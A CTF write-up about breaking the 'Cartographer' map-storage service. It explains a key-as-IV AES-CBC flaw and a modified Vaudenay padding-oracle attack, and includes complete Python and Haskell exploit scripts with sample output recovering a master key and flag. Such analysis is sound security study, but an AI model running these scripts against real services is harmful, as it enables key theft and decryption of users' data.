Despite not being able to pwn this service during the game, we had a great time exploiting it just a few days ago! Why so late you may ask! Well, this is the story…

Background

Last summer I (Marco) spent one month in Paris doing a research internship at Cryptosense, an academic spin-off of INRIA and Ca’ Foscari. As the name suggests, the company deals with cryptography and developed a range of products for the automatic analysis of crypto applications. A couple of weeks ago I was testing some Java programs with the Cryptosense Analyzer, a tool that attaches to the JVM running an application and produces a security report of the crypto usage by analysing the calls to cryptographic libraries. I decided to include the cartographer service to the set of applications I was going to test. It sounded like a perfect candidate being a Java-based program performing some crypto operations. The report generated by the tool turned out to be very useful, so we decided to share our experience and publish a write-up for the service… here we go!

Service Overview

Cartographer is a web service that allows users to store maps (i.e. png images) in an encrypted form.

Main page

The two forms in the main page allow to:

  • select a png and upload it to the service (Upload Map)
  • download a png provided that we have the correct id and key (Activate Uploaded Map)

After uploading or activating a map, the png is rendered in the page and the pair (id, key) is persistently saved in the local storage of the browser.

The list of recently added maps ids can be displayed by accessing the /chunks.html page.

Service Analysis

The standard approach would be to decompile the service to statically understand what it is supposed to do. We went through this path during the CTF and figured out that Cartographer is a Kotlin program using the Spring Framework. We recovered all the useful functions to understand how it works (more on this later), but we actually missed the vulnerability just by manually reviewing the code…

As previously said in the intro, we played with the service as a blackbox and relied on the Cryptosense Analyzer to test it for us. Five crypto usage rules failed to apply to the provided trace.

Report, failed rules

The most interesting ones are the number 35 (use of unauthenticated encryption) and 32 (initialization vector has the same value of the key). Both rule violations are detailed below:

Report, failed rules Report, failed rules

It looks like that the service fired a few encryptions using AES in Cipher Block Chaining (CBC) mode with the PKCS#5 padding. Let’s try to dig into the decompiled code to confirm our findings. The two application paths /images/encrypt and /images/decrypt enable the encryption and decryption of maps using, respectively, the cartographer.crypto.DefaultCryptography.encrypt and cartographer.crypto.DefaultCryptography.decrypt methods. The following snippet is taken from cartographer.crypto.DefaultCryptography.decrypt:

Cipher cipher = Cipher.getInstance(this.cryptographySettings.getCipherSpec());
cipher.init(2, key, new IvParameterSpec(key.getEncoded()));
byte[] arrby = cipher.doFinal(ciphertext);

where getCipherSpec() is a method defined in the cartographer/crypto/CryptographySettings class that returns the cipherSpecSetting variable:

cipherSpecSetting = new StringSetting("cryptography.cipher_spec", "AES/CBC/PKCS5Padding");

Therefore, the code performs a decryption with the cipher spec AES/CBC/PKCS5Padding and sets the IV to the value of the key, confirming our initial claims. This is very interesting by itself: if the service enables the decryption of arbitrary data and if padding errors can be somehow detected, we may be able to perform a Vaudenay attack to recover sensitive data. Thanks to the special case in which key == IV we may even push the attack further to leak the encryption key.

Let’s move on. Chunks are the pieces of data containing the encrypted images. By performing a GET request to /chunks/_recent it is possible to access the list of recent chunk ids. Then, each chunk can be downloaded by providing the correct chunk id at /chunks/<chunk_id>.

The structure of a chunk can be devised by analysing the code in DefaultChunkCryptography.decrypt:

public byte[] decrypt(@NotNull Key sessionKey, @NotNull Key masterKey, @NotNull byte[] ciphertext) {
    Intrinsics.checkParameterIsNotNull((Object)sessionKey, (String)"sessionKey");
    Intrinsics.checkParameterIsNotNull((Object)masterKey, (String)"masterKey");
    Intrinsics.checkParameterIsNotNull((Object)ciphertext, (String)"ciphertext");
    int metadataEncryptedLength = SerializationHelperKt.bytesToInt((byte[])ciphertext);
    byte[] metadataEncrypted = ArraysKt.sliceArray((byte[])ciphertext, (IntRange)RangesKt.until((int)4, (int)(4 + metadataEncryptedLength)));
    byte[] imageEncrypted = ArraysKt.sliceArray((byte[])ciphertext, (IntRange)RangesKt.until((int)(4 + metadataEncryptedLength), (int)ciphertext.length));
    byte[] metadataSerialized = this.cryptography.decrypt(masterKey, metadataEncrypted);
    ChunkMetadata metadata = (ChunkMetadata)this.objectMapper.readValue(metadataSerialized, ChunkMetadata.class);
    Key decryptedSessionKey = this.keyDeserializer.deserialize(metadata.getSessionKey());
    if (Intrinsics.areEqual((Object)decryptedSessionKey, (Object)sessionKey) ^ true) {
        throw (Throwable)new InvalidKeyException();
    }
    return this.cryptography.decrypt(sessionKey, imageEncrypted);
}

A chunk is made up of a header, containing the length of the metadata, some metadata, containing a json with a session key, and finally the encrypted image:

+--------+------------------------------------+----------------------+
| Header | E(Metadata(sessionKey), masterKey) | E(Image, sessionKey) |
+--------+------------------------------------+----------------------+

The image is encrypted using the sessionKey (which is also the key we can enter to activate a previously uploaded map), while the metadata block containing the sessionKey is secured with the masterKey. Assuming that flags are stored within images, accessing the masterKey of an opponent team will enable us to decrypt all their chunks and get the flags.

Attack

The Vaudenay attack referenced before allows an attacker to obtain the plaintext of encrypted blocks by exploiting the padding method expected by the application. The figure below depicts a standard CBC decryption. We say that c1 is the last byte of the encrypted block C1, C2 is the encrypted block next to C1 and p2 is the last byte of the plaintext block P2.

CBC decrypt

If an attacker can submit arbitrary data to be decrypted by the application, he may tamper with encrypted blocks to produce an invalid padding in the resulting plaintext to leak useful information. In the following example, we xor the last byte of C1 with g2 (a guess of the possible value of p2) and with 0x01. By asking the application to decrypt the two blocks C1 C2, it’s easy to see that the last byte of P2 will be equal to 0x01 when g2 = p2 and thus the application will not complain with padding errors since P2 is correctly padded according to PKCS#5. For all the other cases in which g2 != p2, the application will report an error about an invalid padding. By iterating the attack over all the bytes of the block, it is possible to recover the whole plaintext in P2 with just 128*BLOCK_SIZE attempts on average.

Vaudenay attack

Things get even more interesting when the key is used as the IV. Let’s see how the first block gets decrypted in this case. We denote with k the last value of the IV and with p1 the last byte of the first plaintext block P1.

CBC decrypt of the first block

In this service the IV is not public (…it’s the piece of data we’d like to leak!), hence it is not possible to perform a standard Vaudenay attack to obtain the first plaintext block, although it would be possible to get the subsequent ones. On the other hand, what happens if we are not interested in leaking P1 because it’s a known data and we need to recover the key? The figure below depicts our modified version of the Vaudenay attack in which we alter the block P1 to contain - as its last byte - p1g10x01, where g1 is a guess of the value of k. By asking the application to decrypt P1 C1, we know that g1 = k as soon as no padding errors are returned! Notice that this attack corresponds to the previous one by replacing C1 with P1 and C2 with C1. Again, by iterating the attack over all the bytes of the block, it is possible to access the value of the whole key!

Vaudenay attack when IV=KEY

Remember that the metadata portion of each chunk contains some json-encoded data encrypted under the master key. With some luck, we may be able to recover enough plaintext of the first block from the metadata structure to get our hands over the masterKey! That’s exactly the case since the first 15 bytes of the metadata structure are {"sessionKey":". We miss the last byte, but that’s not really a problem since it’s enough to run the attack and bruteforce the last byte of the recovered key until it allows to decrypt C1 to the expected value.

Putting everything back together, the exploit should 1) download any chunk from the chunks list 2) extract the master key using the modified Vaudenay attack explained before on the metadata portion of the chunk 3) decrypt the whole metadata portion using the master key to access the session key 4) decrypt the image using the session key and extract the flag (which is a text entry of the PNG file).

Note that the master password is randomly generated during the first startup of the service and then its value is fixed. Hence, during the CTF it would have been enough to execute step 2) just once to access the master key of a team. Subsequent attacks would require only to download chunks from that team and decrypt them offline using the previously leaked master key.

Detecting this kind of attack during the game would have been painful, at the very least!

Full Code

We can finally steal flags! Here is an example

$ ./pwn_cartographer.py 
[*] Leaking the first 15 bytes of the master key via a Vaudenay attack, wait
    14eddec8fce5b7aaf8845edb15c83dff
[*] Bruteforcing the last byte of the key...
[*] Done! Master key value is 014eddec8fce5b7aaf8845edb15c83a2
[*] Got the metadata block containing the session key!
    {"sessionKey":"BWTtA/GxPsgOnx4d1mOSwA=="}
[*] Decrypting the image with the session key
[*] Got a flag! CUZFEYMZLULCJXQNTNSRKHMOGQCXIBX=

Python exploit

#!/usr/bin/python2

import re
import sys
import json
import struct
import base64
import argparse
import requests
from Crypto.Cipher import AES

BLOCK_SIZE = 16
url = None


def decrypt(key, data):
    # last param is IV, we assume it's equal to key in this case
    aes = AES.new(key, AES.MODE_CBC, key)
    plain = aes.decrypt(data)

    return plain


def is_padding_ok(data, key='AAAAAAAAAAAAAAAA'):
    r = requests.post('{}/images/decrypt'.format(url),
                      json={'key': base64.b64encode(key), 
                      'chunk': base64.b64encode(struct.pack('>I', len(data)) + data)})

    return not 'BadPaddingException' in r.text


def vaudenay(C1, C2):
    """Return the plaintext of C2 using the Vaudenay attack."""

    # integers are more useful
    C1 = [ord(c1) for c1 in C1]
    # list of guesses of the values of P2
    G2 = [0] * 16
    pad = 1
    for i in range(BLOCK_SIZE - 1, -1, -1):
        # temporary block that will be sent to the oracle along with C2
        T = [0] * BLOCK_SIZE
        # apply the correct padding to the last part of the temporary block
        T[i + 1:] = [c1 ^ g2 ^ pad for c1, g2 in zip(C1[i + 1:], G2[i + 1:])]
        # try all possible values of g2 until there are no padding errors
        c1 = C1[i]
        for g2 in range(256):
            T[i] = c1 ^ g2 ^ pad
            # a tiny nice animation
            G2_visual = list(G2)
            G2_visual[i] = g2
            sys.stderr.write('    {}\r'.format(
                ''.join([hex(g)[2:] if g != 0 else '__' for g in G2_visual])))
            if is_padding_ok(''.join(chr(t) for t in T) + C2):
                # padding is fine, hence g2 == p2
                G2[i] = g2
                pad += 1
                break
    sys.stderr.write('\n')

    return ''.join(chr(g) for g in G2)


def brute(partial_key, ciphertext, expected_plaintext):
    for x in range(256):
        key = ''.join(partial_key + chr(x))
        if expected_plaintext in decrypt(key, ciphertext):
            return key


def unpad(data):
    return data[:-ord(data[-1])]


def main():
    global url

    parser = argparse.ArgumentParser(description='Pwn Cartographer')
    parser.add_argument('-host', type=str, default='localhost',
        help='Host running the service (default: localhost)')
    parser.add_argument('-port', type=int, default=8080,
        help='Port (default: 8080)')
    args = parser.parse_args()
    url = 'http://{}:{}'.format(args.host, args.port)

    # download the most recent chunk
    chunks_list = requests.get('{}/chunks/_recent'.format(url))
    try:
        chunk_id = json.loads(chunks_list.text)[0]
    except IndexError:
        sys.stderr.write('The service must have at least one loaded map, aborting.\n')
        sys.exit(1)
    r = requests.get('{}/chunks/{}'.format(url, chunk_id))
    chunk = r.content

    # get the metadata and image encrypted blocks from the chunk
    metadata_len = struct.unpack('>I', chunk[:4])[0]
    enc_metadata = chunk[4:4 + metadata_len]
    enc_img = chunk[4 + metadata_len:]

    # perform the modified Vaudenay attack to recover the master key
    C1 = enc_metadata[:BLOCK_SIZE]
    # we don't know what the last byte of P1 is, so we use '?' for now
    P1 = '{"sessionKey":"?'
    print('[*] Leaking the first 15 bytes of the master key via a Vaudenay attack, wait')
    master_key_partial = vaudenay(P1, C1)
    print('[*] Bruteforcing the last byte of the key...')
    master_key = brute(master_key_partial[:-1], C1, P1[:-1])
    print('[*] Done! Master key value is {}'.format(master_key.encode('hex')))
    metadata = unpad(decrypt(master_key, enc_metadata))
    print('[*] Got the metadata block containing the session key!\n    {}'.format(metadata))

    # get the session key from the metadata structure and decrypt the image block
    session_key = base64.b64decode(json.loads(metadata)['sessionKey'])
    print('[*] Decrypting the image with the session key')
    img = unpad(decrypt(session_key, enc_img)).decode('utf-8')
    flag = re.findall('\w{31}=', img)[0]
    print('[*] Got a flag! {}'.format(flag))


if __name__ == '__main__':
    main()

We also have a Haskell implementation for those who feel brave :)

{-# LANGUAGE OverloadedStrings #-}

-- Packages: AES download-curl base64-bytestring json

import qualified Codec.Crypto.AES       as AES
import qualified Data.ByteString        as S
import qualified Data.ByteString.Lazy   as L
import qualified Data.ByteString.Base64 as B64
import qualified Data.Binary            as B2
import qualified Data.Text              as T
import qualified Data.Text.Encoding     as T
import qualified Data.Text.IO           as T
import qualified Text.JSON              as JS
import Data.Bits
import Data.Char
import Data.String
import Data.Word
import Control.Monad
import Control.Arrow
import Network.Curl
import Network.Curl.Download
import System.Environment
import Text.Printf

--------------------------------------------------------------------------------
-- UTILS

bsString :: S.ByteString -> String
bsString = map chr . map fromIntegral . S.unpack

stringBs :: String -> S.ByteString
stringBs = S.pack . map fromIntegral . map ord 

download :: String -> IO S.ByteString
download url = either error id <$> openURI url

postJSon :: String -> String -> IO S.ByteString
postJSon url json = either error id <$>
  openURIWithOpts [CurlPost True
                  ,CurlPostFields [json]
                  ,CurlHttpHeaders ["Content-Type: application/json"]
                  ,CurlFailOnError False]
                  url

decrypt :: S.ByteString -> S.ByteString -> S.ByteString
decrypt key str = AES.crypt' AES.CBC key key AES.Decrypt str

aesPadding :: S.ByteString -> (S.ByteString, S.ByteString)
aesPadding str = S.splitAt (S.length str - (fromIntegral $ S.last str)) str

--------------------------------------------------------------------------------
-- CONSTANTS

url :: String
url = "http://localhost:8080"

urlDecrypt :: String
urlDecrypt = printf "%s/images/decrypt" url

urlChunk :: String -> String
urlChunk id = printf "%s/chunks/%s" url id

blocksize :: Num a => a
blocksize = 16

--------------------------------------------------------------------------------
-- VAUDENAY

oracle :: S.ByteString -> IO Bool
oracle chunk = do
  let json = jsonKeyChunk (S.replicate blocksize 0x41) chunk
  res      <- postJSon urlDecrypt json
  return $ S.isInfixOf "BadPaddingException" res

jsonKeyChunk :: S.ByteString -> S.ByteString -> String
jsonKeyChunk k c = printf "{\"key\": \"%s\", \"chunk\":\"%s\"}" key chunk
  where key   = bsString $ B64.encode k
        chunk = bsString $ B64.encode $ S.append clen c
        clen  = L.toStrict $ B2.encode (fromIntegral $ S.length c :: Word32)

vaudenay ::  S.ByteString -> IO S.ByteString
vaudenay c1 = S.pack <$> loop (blocksize-1) 1 []
  where loop i _   guesses | i < 0 = return guesses
        loop i pad guesses         = loop (i-1) (pad+1) . (:guesses)
                                   =<< getG pad guesses
        getG pad guesses = fmap (head . mconcat) $ forM [0..255] $ \g -> do
          let chunk = reverse $ take blocksize
                    $ map (xor pad) (reverse guesses) ++ [g`xor`pad] ++ repeat 0
          res <- oracle $ S.append (S.pack chunk) c1
          if not res
            then putStr "." >> return [g]
            else return mempty

bruteLast :: S.ByteString -> S.ByteString -> S.ByteString -> S.ByteString
bruteLast plain block guesses = maybe (error "No Key Found!") id
                              $ foldMap ff [0..255]
  where ff i | S.isInfixOf plain dec = Just key
             | otherwise             = Nothing
              where dec = decrypt key block
                    key = S.pack
                        $ S.zipWith xor guesses
                        $ S.append plain (S.pack [i])

--------------------------------------------------------------------------------
-- MAIN

main :: IO ()
main = do
  (filename:_) <- getArgs

  recentJson           <- download $ urlChunk "_recent"
  let JS.Ok (recent:_) = JS.decode $ bsString recentJson

  chunk        <- download $ urlChunk recent
  let length   = fromIntegral (B2.decode $ L.fromStrict $ S.take 4 chunk :: Word32)
  let metadata = S.take length $ S.drop 4 chunk
  let image    = S.drop (4 + length) chunk

  let block1  = S.take blocksize metadata
  let plain1  = "{\"sessionKey\":\""
  guesses <- vaudenay block1
  putStrLn ""

  let masterKey'  = bruteLast plain1 block1 guesses
  let metadataDec = decrypt masterKey' metadata
  print metadataDec

  let (metadatajs, _)         = aesPadding metadataDec
  let JS.Ok (JS.JSObject res) = JS.decode $ bsString metadatajs
  let JS.Ok sessKey64         = JS.valFromObj "sessionKey" res
  let Right sessKey           = B64.decode $ stringBs sessKey64

  let imageDec = T.decodeUtf8 $ decrypt sessKey image
  S.writeFile filename $
    S.pack $ map (fromIntegral . ord) $ T.unpack imageDec